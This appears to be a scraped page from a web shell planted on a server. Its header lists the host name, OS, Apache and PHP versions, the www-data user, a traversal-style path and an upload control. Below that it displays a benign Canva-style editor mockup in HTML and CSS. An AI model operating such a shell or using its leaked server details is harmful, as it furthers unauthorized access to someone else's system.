(　′∀`)σ≡σ☆))Д′)ﾚ(ﾟ∀ﾟ;)ﾍ=З=З=Зε≡(ノ´＿ゝ｀）ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
$ pwd: /var/www/html/tmpr/../tmpr/../sso/
Upload Files
File: /var/www/html/tmpr/../tmpr/..//sso/editor.php
<style>
    :root {
        --primary: #1a73e8;
        --primary-dark: #155ab6;
        --bg: #f8f9fa;
        --sidebar-bg: #fff;
        --panel-bg: #fff;
        --border: #e0e0e0;
        --shadow: 0 2px 12px rgba(60,72,88,0.08);
        --radius: 8px;
        --font: 'Inter', Arial, sans-serif;
    }

    * { box-sizing: border-box; margin: 0; padding: 0; }

    body {
        font-family: var(--font);
        background: var(--bg);
        color: #23272f;
        min-height: 100vh;
        display: flex;
        flex-direction: column;
    }

    .header {
        display: flex;
        align-items: center;
        justify-content: space-between;
        background: var(--panel-bg);
        border-bottom: 1px solid var(--border);
        padding: 0 2rem;
        height: 64px;
        position: sticky;
        top: 0;
        z-index: 10;
    }

    .header-left, .header-right {
        display: flex;
        align-items: center;
        gap: 1rem;
    }

    .logo {
        font-weight: 700;
        font-size: 1.6rem;
        color: var(--primary);
        margin-right: 2rem;
        user-select: none;
    }

    .menu-btn {
        background: none;
        border: none;
        color: #444;
        font-weight: 600;
        font-size: 1rem;
        margin-right: 1rem;
        cursor: pointer;
        padding: 0.5rem 0.75rem;
        border-radius: var(--radius);
        transition: background 0.2s;
    }
    .menu-btn:hover { background: #e8f0fe; color: var(--primary); }

    .search-bar {
        width: 320px;
        padding: 0.5rem 1rem;
        border-radius: var(--radius);
        border: 1px solid var(--border);
        font-size: 1rem;
        background: #f5f7fa;
        transition: border 0.2s;
    }
    .search-bar:focus { border-color: var(--primary); outline: none; }

    .header-btn {
        padding: 0.5rem 1.2rem;
        border-radius: var(--radius);
        font-weight: 600;
        border: none;
        background: #e2e8f0;
        color: #23272f;
        cursor: pointer;
        margin-left: 0.5rem;
        transition: background 0.2s;
    }
    .header-btn.primary {
        background: var(--primary);
        color: #fff;
    }
    .header-btn.primary:hover {
        background: var(--primary-dark);
    }
    .avatar {
        width: 36px;
        height: 36px;
        border-radius: 50%;
        background: var(--primary);
        color: #fff;
        display: flex;
        align-items: center;
        justify-content: center;
        font-weight: 700;
        font-size: 1.1rem;
    }

    .main-layout {
        display: flex;
        flex: 1;
        min-height: 0;
        height: calc(100vh - 64px);
    }

    .sidebar {
        width: 250px;
        background: var(--sidebar-bg);
        border-right: 1px solid var(--border);
        padding: 1.5rem 1rem;
        overflow-y: auto;
    }
    .sidebar-section {
        margin-bottom: 2.5rem;
    }
    .sidebar-section h4 {
        font-size: 1.1rem;
        color: #555;
        margin-bottom: 1rem;
    }
    .sidebar-section ul {
        list-style: none;
    }
    .sidebar-section li {
        display: flex;
        align-items: center;
        padding: 0.5rem 0.8rem;
        border-radius: var(--radius);
        color: #444;
        font-size: 1rem;
        cursor: pointer;
        margin-bottom: 0.3rem;
        transition: background 0.2s, color 0.2s;
    }
    .sidebar-section li.active,
    .sidebar-section li:hover {
        background: #e8f0fe;
        color: var(--primary);
        font-weight: 600;
    }
    .icon { margin-right: 0.7rem; }

    .editor-area {
        flex: 1;
        display: flex;
        flex-direction: row;
        position: relative;
        background: #f4f6fb;
        min-width: 0;
    }
    .floating-toolbar {
        position: absolute;
        top: 16px;
        left: 320px;
        z-index: 2;
        display: flex;
        gap: 0.5rem;
        background: #fff;
        border-radius: var(--radius);
        box-shadow: var(--shadow);
        padding: 0.5rem 1rem;
    }
    .toolbar-btn {
        background: none;
        border: none;
        color: #444;
        font-weight: 500;
        font-size: 1rem;
        cursor: pointer;
        border-radius: var(--radius);
        padding: 0.4rem 0.7rem;
        transition: background 0.2s, color 0.2s;
    }
    .toolbar-btn.active,
    .toolbar-btn:hover {
        background: #e8f0fe;
        color: var(--primary);
    }

    .canvas-panel {
        flex: 3;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: flex-start;
        background: #f9fafb;
        padding: 2rem 1rem;
        min-width: 0;
    }
    .canvas-toolbar {
        width: 900px;
        display: flex;
        align-items: center;
        justify-content: flex-end;
        gap: 1rem;
        margin-bottom: 0.5rem;
    }
    .canvas-tool {
        background: #e2e8f0;
        border: none;
        border-radius: var(--radius);
        padding: 0.4rem 1rem;
        color: #333;
        font-weight: 500;
        cursor: pointer;
        transition: background 0.2s;
    }
    .canvas-tool:hover {
        background: var(--primary);
        color: #fff;
    }
    .canvas-info {
        margin-left: auto;
        color: #888;
        font-size: 0.95rem;
    }

    .canvas {
        position: relative;
        width: 900px;
        height: 600px;
        background: #fff;
        border-radius: var(--radius);
        box-shadow: var(--shadow);
        overflow: hidden;
        border: 1px solid #e0e0e0;
    }

    .canvas-placeholder {
        position: absolute;
        border: 2px dashed #b3b3b3;
        border-radius: var(--radius);
        background: #f5f7fa;
        color: #b3b3b3;
        display: flex;
        align-items: center;
        justify-content: center;
        font-size: 1rem;
        font-style: italic;
        transition: border-color 0.2s;
        pointer-events: none;
    }
    .canvas-placeholder .placeholder-label {
        pointer-events: none;
    }

    .image-placeholder { background: #e8f0fe; }
    .text-placeholder { background: #f9e8fe; }
    .shape-placeholder { background: #e8f9fe; }
    .table-placeholder { background: #fef9e8; }
    .chart-placeholder { background: #e8fef9; }
    .video-placeholder { background: #f9fbe8; }

    .properties-panel {
        width: 320px;
        background: var(--panel-bg);
        border-left: 1px solid var(--border);
        padding: 2rem 1.5rem;
        overflow-y: auto;
    }
    .properties-panel h4 {
        font-size: 1.2rem;
        color: #555;
        margin-bottom: 1.2rem;
    }
    .properties-form {
        display: flex;
        flex-direction: column;
        gap: 1rem;
    }
    .properties-form label {
        font-weight: 600;
        font-size: 0.95rem;
        color: #444;
    }
    .properties-form select,
    .properties-form input[type="number"],
    .properties-form input[type="color"] {
        padding: 0.4rem 0.7rem;
        font-size: 1rem;
        border: 1px solid #ccc;
        border-radius: var(--radius);
        margin-bottom: 0.5rem;
    }
    .placeholder-settings {
        margin-top: 2rem;
        padding: 1rem;
        background: #f5f7fa;
        border-radius: var(--radius);
    }
    .placeholder-settings h5 {
        margin-bottom: 0.7rem;
        font-size: 1rem;
        color: #333;
    }

    .modal {
        position: fixed;
        top: 0; left: 0;
        width: 100vw; height: 100vh;
        background: rgba(33, 33, 33, 0.6);
        display: flex;
        align-items: center;
        justify-content: center;
        z-index: 1000;
    }
    .modal[hidden] { display: none; }
    .modal-content {
        background: #fff;
        width: 520px;
        max-width: 95vw;
        border-radius: var(--radius);
        box-shadow: var(--shadow);
        display: flex;
        flex-direction: column;
    }
    .modal-header, .modal-footer {
        padding: 1rem 1.5rem;
        background: #f5f5f5;
        border-bottom: 1px solid #ddd;
        display: flex;
        align-items: center;
        justify-content: space-between;
    }
    .modal-header { border-bottom: 1px solid #ddd; }
    .modal-footer { border-top: 1px solid #ddd; justify-content: flex-end; }
    .modal-body {
        padding: 1rem 1.5rem;
        max-height: 320px;
        overflow-y: auto;
    }
    .modal-close {
        background: transparent;
        border: none;
        font-size: 1.5rem;
        cursor: pointer;
        color: #555;
        font-weight: 700;
        line-height: 1;
        transition: color 0.3s;
    }
    .modal-close:hover { color: var(--primary); }
    .template-list {
        list-style: none;
        display: grid;
        grid-template-columns: repeat(2, 1fr);
        gap: 1rem;
    }
    .template-thumb {
        background: #e8f0fe;
        padding: 0.5rem;
        border-radius: var(--radius);
        display: flex;
        align-items: center;
        justify-content: center;
    }
    .template-thumb img {
        width: 100%;
        border-radius: var(--radius);
        box-shadow: 0 1px 4px rgba(60,72,88,0.08);
    }

    /* Responsive */
    @media (max-width: 1200px) {
        .main-layout { flex-direction: column; }
        .sidebar, .properties-panel { width: 100%; border: none; }
        .editor-area { flex-direction: column; }
        .canvas-panel { width: 100%; }
    }
    @media (max-width: 900px) {
        .canvas { width: 100vw; min-width: 0; }
        .canvas-toolbar { width: 100vw; }
    }

</style>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Inspiration Editor - Canva Style</title>
    <link rel="stylesheet" href="styles.css" />
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet" />
</head>
<body>
<!-- Header -->
<header class="header">
    <div class="header-left">
        <button class="sidebar-toggle" aria-label="Toggle sidebar">&#9776;</button>
        <span class="logo">InspireEdit</span>
        <nav class="menu">
            <button class="menu-btn">File</button>
            <button class="menu-btn">Edit</button>
            <button class="menu-btn">View</button>
            <button class="menu-btn">Help</button>
        </nav>
    </div>
    <div class="header-center">
        <input type="search" class="search-bar" placeholder="Search templates, elements..." aria-label="Search" />
    </div>
    <div class="header-right">
        <button class="header-icon" aria-label="Undo">&#8630;</button>
        <button class="header-icon" aria-label="Redo">&#8631;</button>
        <button class="header-btn primary">Create a design</button>
        <div class="avatar" title="Profile">U</div>
    </div>
</header>

<div class="main-layout">
    <!-- Sidebar -->
    <aside class="sidebar">
        <div class="sidebar-section">
            <h4>Design</h4>
            <ul>
                <li class="active"><span class="icon">&#128196;</span> Templates</li>
                <li><span class="icon">&#11035;</span> Elements</li>
                <li><span class="icon">&#128247;</span> Photos</li>
                <li><span class="icon">&#128221;</span> Text</li>
                <li><span class="icon">&#128228;</span> Uploads</li>
                <li><span class="icon">&#127912;</span> Videos</li>
                <li><span class="icon">&#127925;</span> Audio</li>
                <li><span class="icon">&#128202;</span> Charts</li>
                <li><span class="icon">&#128203;</span> Tables</li>
            </ul>
        </div>
        <div class="sidebar-section">
            <h4>Work Kits</h4>
            <ul>
                <li><span class="icon">&#128188;</span> HR Tools</li>
                <li><span class="icon">&#128200;</span> Marketing</li>
                <li><span class="icon">&#128179;</span> Sales</li>
                <li><span class="icon">&#127912;</span> Creative</li>
            </ul>
        </div>
    </aside>

    <!-- Editor Area -->
    <main class="editor-area">
        <!-- Floating Toolbar -->
        <div class="floating-toolbar">
            <button class="toolbar-btn active">Select</button>
            <button class="toolbar-btn">Text</button>
            <button class="toolbar-btn">Image</button>
            <button class="toolbar-btn">Shape</button>
            <button class="toolbar-btn">Background</button>
            <button class="toolbar-btn">Table</button>
            <button class="toolbar-btn">Chart</button>
            <button class="toolbar-btn">Audio</button>
            <button class="toolbar-btn">Video</button>
        </div>
        <!-- Canvas Panel -->
        <section class="canvas-panel">
            <div class="canvas-toolbar">
                <button class="canvas-tool">Zoom In</button>
                <button class="canvas-tool">Zoom Out</button>
                <span class="canvas-info">Page 1 of 3</span>
            </div>
            <div class="canvas" tabindex="0">
                <!-- Placeholders for design elements -->
                <div class="canvas-placeholder image-placeholder" style="top: 40px; left: 60px; width: 240px; height: 140px;">
                    <span class="placeholder-label">[Image Placeholder]</span>
                </div>
                <div class="canvas-placeholder text-placeholder" style="top: 220px; left: 100px; width: 320px; height: 60px;">
                    <span class="placeholder-label">[Text Placeholder: Double-click to edit]</span>
                </div>
                <div class="canvas-placeholder shape-placeholder" style="top: 320px; left: 300px; width: 120px; height: 120px;">
                    <span class="placeholder-label">[Shape Placeholder]</span>
                </div>
                <div class="canvas-placeholder table-placeholder" style="top: 100px; left: 400px; width: 180px; height: 90px;">
                    <span class="placeholder-label">[Table Placeholder]</span>
                </div>
                <div class="canvas-placeholder chart-placeholder" style="top: 300px; left: 500px; width: 180px; height: 120px;">
                    <span class="placeholder-label">[Chart Placeholder]</span>
                </div>
                <div class="canvas-placeholder video-placeholder" style="top: 450px; left: 200px; width: 220px; height: 120px;">
                    <span class="placeholder-label">[Video Placeholder]</span>
                </div>
            </div>
        </section>
        <!-- Properties Sidebar -->
        <aside class="properties-panel">
            <h4>Properties</h4>
            <form class="properties-form">
                <label for="font-family">Font</label>
                <select id="font-family" name="font-family">
                    <option>Inter</option>
                    <option>Arial</option>
                    <option>Georgia</option>
                    <option>Roboto</option>
                </select>
                <label for="font-size">Size</label>
                <input type="number" id="font-size" min="8" max="96" value="18" />
                <label for="font-color">Color</label>
                <input type="color" id="font-color" value="#222222" />
                <label for="bg-color">Background</label>
                <input type="color" id="bg-color" value="#ffffff" />
                <label for="align">Alignment</label>
                <select id="align">
                    <option>Left</option>
                    <option>Center</option>
                    <option>Right</option>
                </select>
                <button type="button" class="header-btn">Apply</button>
            </form>
            <div class="placeholder-settings">
                <h5>Placeholder Settings</h5>
                <label>
                    <input type="checkbox" checked /> Show Stub Image
                </label>
                <label>
                    <input type="text" placeholder="Link ID (for multi-use placeholders)" />
                </label>
            </div>
        </aside>
    </main>
</div>

<!-- Template Selection Modal -->
<div class="modal" id="templateModal" aria-modal="true" aria-labelledby="modalTitle" hidden>
    <div class="modal-content">
        <header class="modal-header">
            <h2 id="modalTitle">Choose a Template</h2>
            <button class="modal-close" aria-label="Close modal">&times;</button>
        </header>
        <section class="modal-body">
            <ul class="template-list">
                <li class="template-thumb"><img src="https://template.canva.com/EAFzfwx_Qik/4/0/283w-_OIHc7vJF5M.jpg" alt="Template 1" /></li>
                <li class="template-thumb"><img src="https://template.canva.com/EAFvwyWo65M/1/0/320w-iSnmkC1eL08.jpg" alt="Template 2" /></li>
                <li class="template-thumb"><img src="https://template.canva.com/EAGGJKkvU0s/2/0/283w-BttTuAARJqI.jpg" alt="Template 3" /></li>
                <li class="template-thumb"><img src="https://template.canva.com/EAE3p5JEeqQ/1/0/320w-69RZ4uLFQlg.jpg" alt="Template 4" /></li>
            </ul>
        </section>
        <footer class="modal-footer">
            <button class="header-btn primary">Use Template</button>
            <button class="header-btn modal-close">Cancel</button>
        </footer>
    </div>
</div>
</body>
</html>
@ Telegram